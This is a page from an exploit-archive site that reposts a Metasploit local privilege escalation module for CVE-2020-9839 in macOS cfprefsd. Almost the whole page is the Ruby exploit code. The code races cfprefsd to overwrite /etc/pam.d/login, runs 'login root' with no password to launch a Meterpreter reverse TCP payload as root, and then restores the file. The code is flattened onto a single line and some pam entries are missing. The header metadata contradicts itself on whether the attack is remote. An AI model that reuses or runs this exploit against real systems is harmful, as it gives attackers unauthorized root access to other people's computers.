macOS cfprefsd Arbitrary File Write / Local Privilege Escalation

Credit: timwr
Risk: High
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation', 'Description' => %q{ This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in order to run a payload as root. The CFPreferencesSetAppValue function, which is reachable from most unsandboxed processes, can be exploited with a race condition in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login a user can then login as root with the `login root` command without a password. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yonghwi Jin <jinmoteam[at]>', # pwn2own2020 'Jungwon Lim <setuid0[at]>', # pwn2own2020 'Insu Yun <insu[at]>', # pwn2own2020 'Taesoo Kim <taesoo[at]>', # pwn2own2020 'timwr' # metasploit integration ], 'References' => [ ['CVE', '2020-9839'], ['URL', ''], ], 'Platform' => 'osx', 'Arch' => ARCH_X64, 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', {} ], ], 'DisclosureDate' => 'Mar 18 2020' ) ) register_advanced_options ['WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end @@target_file = "/etc/pam.d/login" @@original_content = %q(# login: auth account password session auth optional use_kcminit auth optional try_first_pass auth optional try_first_pass auth required try_first_pass account required account required password required session required session required session optional ) @@replacement_content = %q(# login: auth account password session auth optional auth optional auth optional auth required account required account required password required session required session required session optional ) def check version = if version >'10.15.4') CheckCode::Safe elsif version <'10.15') CheckCode::Safe else CheckCode::Appears end end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) upload_and_chmodx payload_file, binary_payload register_file_for_cleanup payload_file current_content = read_file(@@target_file) @restore_content = current_content if current_content == @@replacement_content print_warning("The contents of #{@@target_file} was already replaced") elsif current_content != @@original_content print_warning("The contents of #{@@target_file} did not match the expected contents") @restore_content = nil end exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" exploit_exe = exploit_data 'CVE-2020-9839', 'exploit' upload_and_chmodx exploit_file, exploit_exe register_file_for_cleanup exploit_file exploit_cmd = "#{exploit_file} #{@@target_file}" print_status("Executing exploit '#{exploit_cmd}'") result = cmd_exec(exploit_cmd) print_status("Exploit result:\n#{result}") unless write_file(@@target_file, @@replacement_content) print_error("#{@@target_file} could not be written") end login_cmd = "echo '#{payload_file} & disown' | login root" print_status("Running cmd:\n#{login_cmd}") result = cmd_exec(login_cmd) unless result.blank? print_status("Command output:\n#{result}") end end def new_session_cmd(session, cmd) if session.type.eql? 'meterpreter' session.sys.process.execute '/bin/bash', "-c '#{cmd}'" else session.shell_command_token cmd end end def on_new_session(session) return super unless @restore_content if write_file(@@target_file, @restore_content) new_session_cmd(session, "chgrp wheel #{@@target_file}") new_session_cmd(session, "chown root #{@@target_file}") new_session_cmd(session, "chmod 644 #{@@target_file}") print_good("#{@@target_file} was restored") else print_error("#{@@target_file} could not be restored!") end super end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top